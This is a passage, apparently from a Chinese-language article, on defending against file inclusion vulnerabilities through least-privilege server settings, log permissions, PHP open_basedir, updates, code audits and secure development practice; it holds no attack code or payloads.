服务器与运维层面的加固最小权限原则运行Web服务的系统用户如www-data,nginx应该拥有尽可能小的权限。将其限制在Web根目录及其必要子目录下使其无法读取/etc/passwd、/etc/shadow等系统关键文件。可以通过操作系统的文件权限和SELinux/AppArmor等安全模块来实现。更改日志路径和权限将Web服务器的访问日志、错误日志移动到Web服务用户无法访问的目录或者设置严格的只读权限防止日志文件被包含。设置PHP的open_basedir在php.ini或虚拟主机配置中使用open_basedir指令将PHP脚本可以访问的文件限制在指定的目录树中。例如open_basedir /var/www/html/:/tmp/。这样即使存在LFI脚本也无法跳出这个范围去读取/etc/passwd。注意open_basedir不是万能的历史上存在一些绕过方法应将其作为纵深防御的一环而非唯一手段。定期更新与安全审计保持PHP、Web服务器Apache/Nginx及所有应用框架、库的最新版本及时修补已知漏洞。定期对代码进行安全审计特别是涉及文件操作、命令执行、数据库查询的部分。5.4 安全开发流程的融入将安全作为软件开发生命周期的一部分。安全编码培训让开发人员了解文件包含漏洞的原理、危害及编写安全代码的方法。代码审计在代码提交前或发布前进行人工或自动化的代码安全审计。可以使用静态代码分析工具来扫描潜在的漏洞点。渗透测试定期聘请专业的安全团队或使用自动化工具对线上系统进行渗透测试主动发现包括文件包含在内的各类安全漏洞。文件包含漏洞的防御是一个系统工程从一行代码的编写到服务器的配置再到整个开发流程的管理都需要注入安全思维。对于开发者而言牢记“一切用户输入皆不可信”采用白名单机制就能从源头堵住绝大多数此类漏洞。对于运维人员收紧服务器配置遵循最小权限原则能为系统增加一道坚固的防线。安全从来不是一劳永逸的事情而是需要持续关注和实践的旅程。在我自己的项目里每次看到include或require都会条件反射般地检查它的参数是否可控这已经成了一种职业习惯。也许最有效的防御就是把这种“条件反射”变成每个开发者的肌肉记忆。